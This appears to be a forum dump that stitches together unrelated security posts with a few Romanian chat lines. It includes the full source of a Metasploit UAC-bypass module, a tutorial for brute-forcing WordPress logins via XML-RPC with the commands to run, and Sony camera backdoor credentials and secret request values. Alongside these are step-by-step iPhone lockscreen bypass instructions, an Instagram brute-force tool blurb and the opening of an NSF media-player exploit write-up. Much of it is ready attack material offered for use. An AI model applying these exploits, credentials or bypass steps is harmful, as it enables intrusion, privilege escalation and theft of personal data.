Fi8sVrs

[*] Hack instagram accounts with bruteforce [*] for more proxy - go to https://www.torvpn.com/en/proxy-list Download instahack-master.zip Source

Researchers warned that subtitles can be hacked and made malicious, allowing attackers to take complete control of devices running vulnerable versions of Kodi, Popcorn Time and VLC. Do you use Kodi, Popcorn Time, VLC or Stremio? Do you use subtitles while you watch? If so, then you need to update the platform as Check Point researchers revealed that not all subtitles are benign text files and hackers can remotely take control of any device running vulnerable software via malicious subtitles. The attack is not in the wild, since Check Point developed the proof of concept attack vector; however, with news of the attack vector and an estimated 200 million video players and streaming apps running vulnerable software, attackers might jump on the malicious subtitle wagon to gain remote access to victims’ systems. Check Point pointed out that Kodi has nearly 40 million visitors per month, VLC has over 170 million downloads and Popcorn Time likely also has millions of viewers. With all being vulnerable, researchers called the malicious subtitle attack “one of the most widespread, easily accessed and zero-resistance vulnerability reported in recent years.” Subtitles are often treated as a trusted source, automatically downloading from third-party repositories. There are dozens of subtitle formats and numerous shared online repositories like OpenSubtitles.org. The repositories can be gamed, allowing attackers “to take complete control over the entire subtitle supply chain.” After an attacker manipulates subtitle rankings, a subtitle with malicious code would have the highest rank and automatically be downloaded without any user interaction required or even a man-in-the-middle attack. In different attack scenarios, instead of a video player or streamer automatically downloading the malicious subtitle file, a user can be tricked to visit a site using one of the vulnerable players or opting to download a tainted subtitle file to use with a video. You can see Check Point’s proof of concept attack in the video below. Do you use Kodi, Popcorn Time, VLC or Stremio? Do you use subtitles while you watch? If so, then you need to update the platform as Check Point researchers revealed that not all subtitles are benign text files and hackers can remotely take control of any device running vulnerable software via malicious subtitles. The attack is not in the wild, since Check Point developed the proof of concept attack vector; however, with news of the attack vector and an estimated 200 million video players and streaming apps running vulnerable software, attackers might jump on the malicious subtitle wagon to gain remote access to victims’ systems. Check Point pointed out that Kodi has nearly 40 million visitors per month, VLC has over 170 million downloads and Popcorn Time likely also has millions of viewers. With all being vulnerable, researchers called the malicious subtitle attack “one of the most widespread, easily accessed and zero-resistance vulnerability reported in recent years.” Subtitles are often treated as a trusted source, automatically downloading from third-party repositories. There are dozens of subtitle formats and numerous shared online repositories like OpenSubtitles.org. The repositories can be gamed, allowing attackers “to take complete control over the entire subtitle supply chain.” After an attacker manipulates subtitle rankings, a subtitle with malicious code would have the highest rank and automatically be downloaded without any user interaction required or even a man-in-the-middle attack. In different attack scenarios, instead of a video player or streamer automatically downloading the malicious subtitle file, a user can be tricked to visit a site using one of the vulnerable players or opting to download a tainted subtitle file to use with a video. You can see Check Point’s proof of concept attack in the video below. Check Point summarized the damage as: The attack vector “relies heavily on the poor state of security in the way various media players process subtitle files and the large number of subtitle formats.” The researchers added, “Media players often need to parse together multiple subtitle formats to ensure coverage and provide a better user experience, with each media player using a different method. Like other, similar situations which involve fragmented software, this results in numerous distinct vulnerabilities.” Check Point isn’t giving out too many technical details on how to pull off the attack, since the company believes there are similar flaws in other media players. However, Kodi, VLC, Popcorn Time and Stremio were all contacted and have issued fixes for the vulnerability. After Kodi rolled out a fix, XBMC Foundation’s Project lead Martijn Kaijser urged Kodi users to install the newest version as “any previous Kodi version will not get any security patch.” Via networkworld.com

SEC Consult has found a backdoor in Sony IPELA Engine IP Cameras, mainly used professionally by enterprises and authorities. This backdoor allows an attacker to run arbitrary code on the affected IP cameras. An attacker can use cameras to take a foothold in a network and launch further attacks, disrupt camera functionality, send manipulated images/video, add cameras into a Mirai-like botnet or to just simply spy on you. This vulnerability affects 80 different Sony camera models. Sony was informed by SEC Consult about the vulnerability and has since released updated firmware for the affected models. Further information about the backdoor, disclosure timeline, affected devices and updated firmware can be found in our advisory. This blog post has some highlights from the vulnerability analysis. This advisory is the result of research that started by uploading a recent firmware update file from a Sony camera into our cloud based firmware analysis system IoT Inspector. After a few minutes the analysis results were available. One result immediately caught our attention: Excerpt from IoT Inspector results So here we have two password hashes, one is for the user admin and was cracked immediately. The password is admin. This is no surprise as the default login credentials are admin:admin. The second password hash is much more interesting, it’s for the user root and it was found in two different files: /etc/init.d/SXX_directory and /usr/local/lib/libg5_usermanage.so.0.0.0 We can use the file system browser of IoT Inspector to have a look at the SXX_directory. Excerpt from IoT Inspector filesystem browser It looks like this startup script (called by /sbin/init/rcS during boot) is responsible for creating and populating the file /tmp/etc/passwd (/etc/passwd is a symlink to this file). A line for the user including a password hash is added, the shell is /bin/sh. Not good! So, what can we do if we can crack the hash? At this point we can assume that it's very likely we can login using UART pins on the PCB. This of course requires us to have physical access and to disassemble the device. The other locations where we could possibly use the password are Telnet and SSH, but both services are not available on the device … or are they? A quick string search in the firmware's filesystem for “telnet” shows that a CGI binary called prima-factory.cgi contains this string a few times. IDA Pro to the rescue! It seems this CGI has the power to do something with Telnet: The code in g5::cgifactory::factorySetTelnet() (in decompiled form below) is pretty straight forward. Based on input, the inetd daemon is killed or started: The inetd daemon gets its configuration from /etc/inetd.conf and inetd.conf is set up to launch Telnet So how can we reach this CGI functionality? The answer lies in the lighttpd binary. Lighttpd is an open source web server that was modified by Sony. Some custom code for HTTP request handling and authentication was added. Below is an excerpt from a data structure that maps the URI /command/prima-factory.cgi to the CGI in the file system. The authentication function is HandleFactory. HandleFactory decodes the HTTP Basic Authentication header and compares it to the username/password primana:primana. Now we have all ingredients to craft an attack that looks like this: Send HTTP requests to /command/prima-factory.cgi containing the “secret” request values cPoq2fi4cFk and zKw2hEr9and use primana:primana for HTTP authentication. This starts the Telnet service on the device. Login using the cracked root credentials via Telnet. Note: We have not cracked the root password, but it's only a matter of time until someone will. The user primana has access to other functionality intended for device testing or factory calibration(?). There is another user named debug with the password popeyeConnection that has access to other CGI functionality we didn't analyze further. We believe that this backdoor was introduced by Sony developers on purpose (maybe as a way to debug the device during development or factory functional testing) and not an "unauthorized third party" like in other cases (e.g. the Juniper ScreenOS Backdoor, CVE-2015-7755). We have asked Sony some questions regarding the nature of the backdoor, intended purpose, when it was introduced and how it was fixed, but they did not answer. For further information regarding affected devices and patched firmware, see our advisory. IoT Inspector now comes with a plugin that detects this vulnerability. For further information regarding affected devices and patched firmware, see our advisory. IoT Inspector now comes with a plugin that detects this vulnerability. Source

WordPress did not become what is arguably the most popular blogging and CMS platform on the planet because it was difficult to use. Rather, its user-friendly and rich feature set led to it finding a home on somewhere north of 70 million websites—and that's just counting blogs hosted on WordPress.com. Today, we're interested in the platform's use of XML-RPC, a remote procedure call (RPC) allowing for encoded XML calls that are transported via the HTTP protocol. This makes it very, very easy for WordPress contributors to post content remotely, and makes it trivial to post a large volume of data in a one-time push. But that ability to push a large amount of data means that we hackers can also push a large number of passwords at it. Sure, you're essentially brute-forcing your way into someone's WordPress account, but those 500 tries just look like you fat-fingered your password once. Two times? You just tried a thousand passwords. This sure beats trying one password per login attempt. This exploit first turned up in September, 2015, and is one of many that went through XML-RPC. WordPress is good with patching these types of exploits, so many installs from WordPress 4.4.1 onward are now immune to this hack. However, you know a large number of those 70+ million are either older versions or unpatched—and are vulnerable to your password file. Let's get started. Step 1. Testing for the Vulnerability First, if you've got WordPress running locally or on a virtual machine, you should check out the base install directory. We're interested in the xmlrpc.php file you might see there, because that mean's it's open to this attack. You can also just try your site, followed by /xmlrpc.php, like I did below on my local WordPress (substitute "localhost" with your URL name for websites). If XML-RPC is listening, or is there, it will tell you so. Looks like we found a potentially vulnerable blog (it would say "forbidden" or something like that otherwise). Without getting too deep into the weeds, XML-RPC works with the WordPress system.multicall functionality, which hints at the way you can direct a lot of information at the site at one time, say during content upload or retrieval of all recent posts. This exploit takes advantage of the way content or, in this case, passwords are thrown at the login in great numbers without raising too many eyebrows. Logging in one time, WP is just passing an XML file with a string for your login name and a string for your password. <string>admin</string> <string>MyPassword</string> When you attempt to log into WordPress, your username/passwords are tracked as follows: It's one-to-one, in other words. You might notice if someone was trying to log in every few seconds for hours, or you might have a tool set up to restrict incorrect logins. That's all sensible WordPress security. But concerning this article, if you combine XML-RPC with system.multicall, you can essentially throw hundreds of logins at WordPress concurrently, but only have those login attempts show as one login as above. This would raise no flags, right? Step 2. Hacking into the Server Below is an example of how this looks in XML format. The highlighted section is just one password try, so you'd have to repeat that section for multiple tries with different passwords. As you can imagine, this would take a serious amount of time doing them one by one. To speed up this process, we're going to use a script found on GitHub that reads our password list and auto loops the highlighted section above with a new password from the password list in each section. So, head to the https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit on GitHub and download the files via the HTTP link. (Download the ZIP, or Git if you're into that.) Open up a terminal window and cd to wherever you downloaded the file, then unzip the files in place: unzip Wordpress-XMLRPC-Brute-Force-Exploit-master.zip Then change into that directory: cd Wordpress-XMLRPC-Brute-Force-Exploit-master While you're in there, it won't hurt to change the permissions on the Python file to make sure we don't run into any problems running it. The "7" you're assigning means you will be able to do anything you want with the file. chmod 755 wordpress-xmlrpc-brute.py Now run the Python command alone, and check out the instructions. ./wordpress-xmlrpc-brute.py I've highlighted the instructions in blue. For localhost, that's: ./wordpress-xmlrpc-brute.py http://localhost/xmlrpc.php passwords.txt username In order, that means the Python file name, then server name, then password file name, and then username. Here, we're using the passwords.txt file included in the GitHub download (which only has a small amount of passwords in it), and we're trying admin as username. If you want to use your own password list, just include it in your command instead, and use whatever username you think appropriate—this tool only deals with the passwords. So when you run the above with your target server name in place of "localhost," your password file, and your username, the Python script will run through the included passwords.txt file and will run in the largely undetected way. If successful, the script will spit out your login, in the form of username/password. Guarding Against This Exploit Guarding against the XML-RPC vulnerability is easy—newer versions don't include the functionality at all. That said, many third-party WordPress publishing tools such as Jetpack, and smart phone apps such as IFTTT, might require XML-RPC use, so even some current WordPress installs have been retrofitted with the vulnerable code and are therefore open to intrusion. Check your own WordPress installs, and make sure that if integrating any new tool which allows interaction with WP from a remote standpoint, that you haven't opened the door to the XML-RPC intrusion or any other intrusions. This is one of many WordPress vulnerabilities, and this easy script attack is a good starting point into your research. Source

multi ani si eu, scuze de intarziere

Bun venit! ai grija

romanii oricum sunt prost vazuti afara, incearca cu datele reale

incalci regulamentul?! deci tot ciordeles se numeste

tu vrei sa ciordeles si nu stii cum, adevarat?

testat pe toate, la fel, apare o fractiune de secunda, tre sa dai o bere, m-am chinuit cateva minute sa fac print screen

Chrome 54.0.2840.99 m, fara extensii, apare cam pe toate

uite ce-mi apare mie dupa refresh

This Metasploit module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This Metasploit module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::Powershell include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile" EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" EXEC_REG_VAL = '' # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ' EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe" PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" CMD_MAX_LEN = 2081 def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)', 'Description' => %q{ This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Nelson', # UAC bypass discovery and research 'Matt Graeber', # UAC bypass discovery and research 'OJ Reeves' # MSF module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', 'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1' ] ], 'DisclosureDate'=> 'Aug 15 2016' )) end def check if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit commspec = '%COMSPEC%' registry_view = REGISTRY_VIEW_NATIVE # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 # On x64, check arch if session.arch == ARCH_X86 # running WOW64, map the correct registry view registry_view = REGISTRY_VIEW_64_BIT if target_arch.first == ARCH_X64 # we have an x64 payload specified while using WOW64, so we need to # move over to sysnative commspec = '%WINDIR%\\Sysnative\\cmd.exe' else # Else, we're 32-bit payload, so need to ref wow64. commspec = '%WINDIR%\\SysWOW64\\cmd.exe' end elsif target_arch.first == ARCH_X86 # We're x64, but invoking x86, so switch to SysWOW64 commspec = '%WINDIR%\\SysWOW64\\cmd.exe' end else # if we're on x86, we can't handle x64 payloads if target_arch.first == ARCH_X64 fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end end # Validate that we can actually do things before we bother # doing any more work check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end payload_value = rand_text_alpha(8) psh_path = expand_path("#{PSH_PATH}") template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" if existing.empty? registry_createkey(EVENTVWR_WRITE_KEY, registry_view) end print_status("Configuring payload and stager registry keys ...") registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) # We can't invoke EventVwr.exe directly because CreateProcess fails with the # dreaded 740 error (Program requires elevation). Instead, we must invoke # cmd.exe and use that to fire off the binary. cmd_path = expand_path(commspec) cmd_args = expand_path("/c #{EVENTVWR_PATH}") print_status("Executing payload: #{cmd_path} #{cmd_args}") # We can't use cmd_exec here because it blocks, waiting for a result. client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true}) # Wait a copule of seconds to give the payload a chance to fire before cleaning up # TODO: fix this up to use something smarter than a timeout? Rex::sleep(5) handler(client) print_status("Cleaining up registry keys ...") if existing.empty? registry_deletekey(EVENTVWR_DEL_KEY, registry_view) else registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view) end end def check_permissions! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end print_status('UAC is Enabled, checking level...') if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end Download Source

We’re publishing this as an emergency bulletin for our customers and the larger web community. A few hours ago a zero day vulnerability emerged in the Tor browser bundle and the Firefox web browser. Currently it exploits Windows systems with a high success rate and affects Firefox versions 41 to 50 and the current version of the Tor Browser Bundle which contains Firefox 45 ESR. If you use Firefox, we recommend you temporarily switch browsers to Chrome, Safari or a non-firefox based browser that is secure until the Firefox dev team can release an update. The vulnerability allows an attacker to execute code on your Windows workstation. The exploit is in the wild, meaning it’s now public and every hacker on the planet has access to it. There is no fix at the time of this writing. Currently this exploit causes a workstation report back to an IP address based at OVH in France. But this code can likely be repurposed to infect workstations with malware or ransomware. The exploit code is now public knowledge so we expect new variants of this attack to emerge rapidly. This is a watering hole attack, meaning that a victim has to visit a website that contains this exploit code to be attacked. So our forensic team is keeping an eye on compromised WordPress websites and we expect to see this code show up on a few of them during the next few days. An attackers goal would be to compromise workstations of visitors to WordPress websites that have been hacked. How this unfolded On Tuesday just after noon Pacific time, someone published a 0 day exploit for Firefox and Tor to the tor browser mailing list. Since then researcher Dan Guido posted a series of tweets with some analysis of the exploit itself. Twitter user @TheWack0lian noticed the shellcode (code that executes on your Windows workstation once exploited) is very similar to shellcode likely used by the FBI back in 2013 to deanonymize visitors to child porn websites hosted by FreedomHosting. The FBI confirmed that they compromised that server and days later it was serving malware that would infect site visitor workstations. The code then reported site visitor real IP addresses, MAC addresses (network card hardware address) and windows computer name to a central server. This code is very similar. What we found The shell code in this attack calls back to IP address 5.39.27.226, which was a web server hosted at OVH in France. The site is now down. Our own research shows that if you look up this IP address in Shodan, it had an SSL certificate that is a wildcard for the energycdn.com domain name. That site for energycdn is simplistic and according to archive.org, it has not changed since 2014. Googling energycdn.com shows that the domain is used frequently to host pirated content. Norton Safe Web reports it hosts viruses. Google Safe Browsing transparency report says the domain hosts malware and redirects to malicious sites. One could speculate that the server at 5.39.27.226 was used by energycdn.com as one of their servers to host pirated content. Perhaps the server was compromised by whoever controls energycdn to host that content and then was reinfected by the perpetrator of this new malware variant. But we’re speculating. Via wordfence.com

Setting a passcode on your iPhone is the first line of defense to help prevent other people from accessing your personal details. However, it's pretty much easy for anyone with access to your iPhone to bypass the passcode protection (doesn't matter if you configured Touch ID or not) and access your personal photos and messages. A new critical security flaw discovered in iOS 8 and newer, including 10.2 beta 3, allows anyone to bypass iPhone's passcode and gain access to personal information using the benevolent nature of Apple's personal assistant Siri. The security glitch has been discovered by EverythingApplePro and iDeviceHelps and now that they have gone public with a video demonstration, you can expect Apple to fix this issue in the next iOS beta version. All an attacker need is to find out the phone number of the target's iPhone and access to the phone for a few minutes. But, what if you don't have target's phone number? No worries. You can hold down the home button of target's iPhone to activate Siri and simply ask "Who am I?" Siri will reply you with the phone number it is using. Here's How to bypass iPhone's Lockscreen: Once you got the phone number, follow these simple steps to reading personal messages and accessing personal photos on target's iPhone: Step 1: Since now you have target's phone number, call on his/her iPhone – starting a FaceTime call will also do it. Step 2: Now, targets iPhone screen will show a message icon, just click on 'Message icon' and then 'Custom Message' to go to the New Message screen where you are allowed to type a reply. Step 3: Next, you need to activate Siri by long-pressing the Home button and say "Turn on Voice Over," and Siri will get the job done by turning it ON. Step 4: Go back to the message screen and double tap the bar where you are required to enter the caller's name and then hold, while immediately click on the keyboard. This may not succeed in the first time, so repeat this step until you see a slide-in effect on the iPhone's screen above the keyboard. Step 5: Now, ask Siri to "Turn off VoiceOver," come back to messages and simply type in the first letter of a caller's name in the top bar, tap ⓘ icon next to it, and then create a new contact. Step 6: Next, you can select add photo and choose a photo. Yes, now you are in and can look at the victim's photo gallery just like you are browsing the phone, even though the iPhone is still in the locked state. Step 7: You can select any contact on the iPhone, and you would be able to see all previous conversations of the target with that contact. Video Demonstration You can also watch a video demonstration (given below) that shows the complete hack in action. <iframe width="560" height="315" src="https://www.youtube.com/embed/hP3BMyrFBSs" frameborder="0" allowfullscreen></iframe> How to Protect Yourself Against this Flaw? Until Apple fixes this issue, iOS users can protect themselves by disabling Siri on the lock screen, though it will cripple your iOS 10 experience. To do so, Go to the Settings → Touch ID & Passcode and Disable Siri on the Lockscreen by toggling the switch to disable. Once disabled, you will only be able to use Siri after you have unlocked your iOS device using the passcode or your fingerprint. Alternatively, you can just remove Photos access from Siri. To do so, just go to Settings → Privacy → Photos and then prevent Siri from accessing pictures. Apple is most likely aware of the flaw, so iPhone users can expect a fix in the next full version of iOS 10.2. Source

Netdiscover is a network address discovery tool that was developed mainly for those wireless networks without DHCP servers, though it also works on wired networks. It sends ARP requests and sniffs for replies. Built on top of libnet and libpcap, it can passively detect on-line hosts, or search for them, by actively sending ARP requests, it can also be used to inspect your network ARP traffic, or find network addresses using auto scan mode, which will scan for common local networks Requirements libpcap libnet > 1.1.2 Tested to work on Linux, Solaris MacOS X and OpenBSD, other *nix variants may work. Usage Screen Keys: - k/j (or up/down arrow keys) scroll up/down - q quit Usage: ./netdiscover [-i device] [-r range | -p] [-s time] [-n node] [-c count] [-f] [-S] -i device The network device to sniff at and inject packets. If no device was specified, first available will be used. -r range Scan a given range instead of auto scan. Valid range values are: 192.168.0.0/24, 192.168.0.0/16 or 192.168.0.0/8 -p Enable passive mode do not send anything, only sniff -s time It will sleep given time in milliseconds between each arp request injection. (default 1) -c count Number of times to send each arp reques. Usefull for networks with packet loss, so it will scan given times for each host. -n node Last ip octet used for scanning as source host, you can change it if the default host is already used (from 2 to 253) (default 66) -S Enable sleep time supression betwen each request. I will sleep each 255 scanned hosts instead of do it by each one, this mode was used on 0.3 beta4 and older releases. Avoid this option on networks with packet lossing, or in wireless networks with low signal level. (also called hardcore mode) -f Enable fastmode scan, it will only scan for hosts .1, .100, .254 on each network, usefull when searching for addresses being used, after find one you can make a specific range scan to see online boxes. Scanned hosts can be easily modified at fast_ips[] array on main.c source. If -p or -r options are not used, netdiscover will automatically scan for common lan addresses. Those address lists can be modified at common_net[] on main.c Build $ sh update-oui-database.sh (optional) $ ./configure $ make # make install Authors: ******************************************************************************* AUTHORS & CONTRIBUTORS ******************************************************************************* If you have any suggestion or bugs, please email <jpenalbae@gmail.com> Also if you want to contribute, feel free to send any patches. Netdiscover =========== Netdiscover has been written by Jaime Penalba Estebanez <jpenalbae@gmail.com> Web page can be found at http://www.nixgeneration.com/~jaime/netdiscover/ Contributors ============ Netdiscover includes the following contributions: - Debian packages and manual page by "Nicolas Weyland <ufoalien@weyland.ch>" - First parsable output attempt by "Marcel van der Boom <marcel@hsdev.com>" - Parsable output patch by "Guillaume Pratte <guillaume@guillaumepratte.net>" - Known hosts list feature by "Janusz Uzycki <j.uzycki@elproma.com.pl>" - Fix for undefined docdir by "Janusz Uzycki <j.uzycki@elproma.com.pl>" Download: netdiscover-master.zip Source

Overview A vulnerability and a separate logic error exist in the gstreamer 0.10.x player for NSF music files. Combined, they allow for very reliable exploitation and the bypass of 64-bit ASLR, DEP, etc. The reliability is provided by the presence of a turing complete “scripting” inside a music player. NSF files are music files from the Nintendo Entertainment System. Curious? Read on... Demonstration, and affected distributions Here is a screenshot of the exploit triggering. Somewhat alarmingly, it does so without the user opening the exploit file -- they only have to navigate to the folder containing the file. More on that below. You can download the file: exploit_ubuntu_12.04.5_xcalc.nsf. In the image above, the file has been renamed to “time_bomb.mp3”. We’ll cover why below. As the filename suggests, this exploit works against Ubuntu 12.04.5. This is an old but still supported distribution. Specifically, for reproducibility, it works against _exactly_ Ubuntu 12.04.5, without further updates. If you take all the updates, you’ll get a new glibc, which changes some code offsets and the exploit will crash. The crash is of course deterministic and it would be possible to code the exploit to cater for arbitrary glibc binaries; this is left as an exercise for the reader. The vulnerability is in libgstnsf.so, an audio decoder present in the gstreamer-0.10 distribution. Ubuntu 12.04 uses gstreamer-0.10 for all its audio handling needs. Ubuntu 14.04 is apparently affected because the default install includes gstreamer-0.10, but most media handling applications use gstreamer-1.0 which is also installed. The exact circumstances under which Ubuntu 14.04 uses the vulnerable gstreamer-0.10 are not clear. The Ubuntu 16.04 default install has only gstreamer-1.0, which is not affected by this vulnerability. This exploit works against what I would consider the “default” install. During Ubuntu install, there’s a question along the lines of “hey, do you want mp3s to work?” and of course the correct answer is “yes”. Various extra packages are then installed including gstreamer0.10-plugins-bad. This package includes libgstnsf.so. Wait, what, an 0day, with an exploit and all? Yes, an 0day. As a learning experiment, most of my bug disclosures going forward are going to be 0day. I’ve got a lot of experience participating in so-called “co-ordinated disclosure”, where the receiving vendor takes as long as they wish to fix a vulnerability. (I once waited over a year(!) for Apple to fix a Safari vulnerability.) I’ve got significantly less experience with “full disclosure”, where the public receives details of a risk at the same time as the vendor. To be clear, I’m fairly certain that the correct balance is a compromise somewhere between “full disclosure” and “co-ordinated disclosure”. The Project Zero 90-day deadlines appear to achieve this compromise nicely and there’s a lot of data backing up the policy. Don’t worry, this particular 0day is very minor, only affecting very old Linux distributions; see above. This 0day is more about fun than impact. Future 0days may be more widespread ;-) Philosophical 0day question Is it still an 0day if the patch is released alongside the 0day? Here’s the patch for Ubuntu 12.04: sudo rm /usr/lib/x86_64-linux-gnu/gstreamer-0.10/libgstnsf.so While at first glance, this “patch” would appear to remove functionality, it does not. Your wonderful NSF files will still play. WTF? Would you believe that Ubuntu 12 and 14 ship not one but two different code bases for playing NSF files? That’s a lot of code for a very fringe format. The second NSF player is based on libgme and does not appear to have the vulnerabilities of the first. The attack surface This exploit abuses a vulnerability in the gstreamer-0.10 plug-in for playing NSF music files. These music files are not like most other music files that your desktop can play. Typical music files are based on compressed samples and are decoded with a bunch of math. NSF music files, on the other hands, are played by actually emulating the NES CPU and sound hardware in real time. Is that cool or what? The gstreamer plug-in creates a virtual 6502 CPU hardware environment and then plays the music by running a bit of 6502 code for a little while and then looking at the resulting values in the virtualized sound hardware registers and then rendering some sound samples based on that. If you’re curious to play a real NSF file, feel free to download the file: cv2.nsf. It’s the music from Castlevania 2, and you can find similar examples with a simple Google search for a term such as “nsf music files”. If your Linux desktop has support for NSF, you should be able to play it with something like: totem cv2.nsf. (Don’t be surprised if your distribution kindly offers to automagically install a suitable plug-in if one is missing.) It’s just 17264 bytes, which is tiny! Far too small to contain much in the way of samples, but large enough to contain some a small program which sequences requests for the basic NES hardware to make some simple noises. In order to actually exploit this vulnerability, or a vulnerability like it, there are various plausible and different avenues: Send exploit via e-mail attachment. If the victim downloads and opens the file, they are compromised. Note -- for this to work, you likely need to rename exploit.nsf to exploit.mp3. Most Linux desktops don’t know what to do with an NSF file, but they’ll happily stuff any sequence of bytes in an MP3 file through a media player. Most gstreamer based media players will ignore a file’s suffix and use file format auto detection to load the file with the most appropriate decoder. Partial drive-by download. By abusing Google Chrome’s somewhat risky file download UX, it’s possible to dump files to the victim’s Downloads folder when a booby trapped web page is visited. When the Downloads folder is later viewed in a file manager such as nautilus, an attempt is made to auto thumbnail files with known suffixes (so again, call the NSF exploit something.mp3). The exploit works against the thumbnailer. Full drive-by download. Again, abusing Google Chrome download UX, there’s a path to a possible full drive-by download. This will be explored in a separate blog post. USB drive based attack. Again, opening a USB drive opens up the thumbnailing attack described above. 6502 and NES ROM loading and paging crash course The 6502 CPU is legendary, appearing in a diverse range of also legendary systems such as the Nintendo Entertainment System, Commodore 64, BBC Micro, etc. It is 8-bit, but with 16-bit addressing, giving a 64kB address space. In the NES application, the upper 32kB of address space (0x8000 - 0xffff) is reserved for ROM, i.e. the read-only data on the cartridge you have stuffed in. Here lies an interesting problem: what if you want to make a game larger than 32kB? Perhaps you have a game of 16 levels, each level having 16kB of unique graphics and music. No way that’s going to fit into 32kB. To solve this problem, there’s the concept of “banks” and “bank switching”. A bank is simply an aligned 4kB contiguous area of ROM, and there are 8 of them packed between 6502 addresses 0x8000 - 0xfffff. Each of these banks can be mapped to a contiguous, aligned 4kB region inside a cartridge ROM that is potentially much larger than 32kB. At runtime, the NES program can write to a special magic memory location (0x5ff8 - 0x5fff) that contains hardware registers that control what portion of the ROM is mapped to which bank. Example: if the 6502 CPU writes the value 10 to 0x5ff9, then the 6502 memory locations 0x9000 - 0x9fff will be backed by the bytes at index (10 * 4096) into the cartridge ROM. The vulnerabilit(ies) 1: Lack of checking ROM size when mapping into 6502 memory and bank switching (Absent a CVE, you can uniquely identify this as CESA-2016-0001.) There is a near total lack of bounds checking on proposed ROM mappings. This applies to be the initial ROM load, as well as subsequent ROM bank switching. All of the handling for ROM mapping is in gst-plugins-bad/gst/nsf.c, including: nsf_bankswitch (uint32 address, uint8 value) { ... cpu_page = address & 0x0F; roffset = -(cur_nsf->load_addr & 0x0FFF) + ((int) value << 12); offset = cur_nsf->data + roffset; ... cur_nsf->cpu->mem_page[cpu_page] = offset; … In the above code snippet, cur_nsf->data points to the actual ROM data content of the input music file. The format of the file is pretty simple: a 128 byte header (starting with the 4 character sequence “NESM”) and anything following is the ROM. So, for example, if you had a 200 byte input file, that would be 128 bytes of header and 72 bytes of ROM. The entire ROM is kept in the host emulator heap via a single malloc(). As can be seen, the pointer named offset is taken as an arbitrary offset into the ROM heap memory with no checking against any kind of length! Let’s make this problem concrete: even in the simplest ROM load case of our 200 byte file, the virtual ROM load address will be 0x8000 and the loading code will call nsf_bankswitch() for addresses 0x5ff8 - 0x5fff, with ascending bank indexes 0 - 7. This will result in 6502 virtual address 0x8000 being backed by nsf-> data + 0, 0x9000 backed by nsf->data + 4096, … 